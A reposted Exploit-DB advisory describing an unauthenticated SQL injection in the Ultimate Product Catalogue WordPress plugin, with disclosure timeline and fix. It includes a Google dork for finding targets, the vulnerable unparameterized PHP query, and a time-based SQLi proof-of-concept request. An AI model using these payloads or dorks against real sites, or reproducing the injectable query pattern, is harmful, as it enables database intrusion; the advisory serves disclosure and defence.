WordPress Plugin Ultimate Product Catalogue – SQL Injection (1)

• Exploit Database
• 98 阅读

• 作者： Felipe Molina
  日期： 2015-04-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36823/

• # Exploit Title: Unauthenticated SQLi in Item_ID POST parameter on Ultimate
  Product Catalogue wordpress plugin
  # Google Dork: inurl:"SingleProduct" intext:"Back to catalogue"
  intext:"Category",
  inurl:"/wp-content/plugins/ultimate-product-catalogue/product-sheets/"
  # Date: 22/04/2015
  # Exploit Author: Felipe Molina de la Torre (@felmoltor)
  # Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/
  # Software Link:
  https://downloads.wordpress.org/plugin/ultimate-product-catalogue.3.1.2.zip
  # Version: < 3.1.2, Comunicated and Fixed by the Vendor in 3.1.3
  # Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache
  2.4.0 (Ubuntu)
  # CVE : Requested to mitre but not assigned yet
  # Category: webapps
  
  1. Summary:
  
  Ultimate Product Catalogue is a responsive and easily customizable
  plugin for all your product catalogue needs. It has +59.000 downloads,
  +3.000 active installations.
  
  Unauthenticated SQL injection in ajax call when the plugin is counting
  the times a product is being seen by the web visitors. The vulnerable POST
  parameter is "Item_ID".
  
  2. Vulnerability timeline:
  - 22/04/2015: Identified in version 3.1.2
  - 22/04/2015: Comunicated to developer company etoilewebdesign.com
  - 22/04/2015: Response from etoilewebdesign.com and fixed version in 3.1.3
  3. Vulnerable code:
  
  In file Functions/Process_Ajax.php line 67:
   [...]
  $Item_ID = $_POST['Item_ID'];
  $Item = $wpdb->get_row("SELECT Item_Views FROM $items_table_name
  WHERE Item_ID=" . $Item_ID);
  [...]
  
  3. Proof of concept:
  
  POST /wp-admin/admin-ajax.php HTTP/1.1
  Host: <wordpress host>
  [...]
  Cookie: wordpress_f305[...]
  
  Item_ID=2 AND SLEEP(5)&action=record_view
  
  4. Solution:
  
  Update to version 3.1.3
  

  Python

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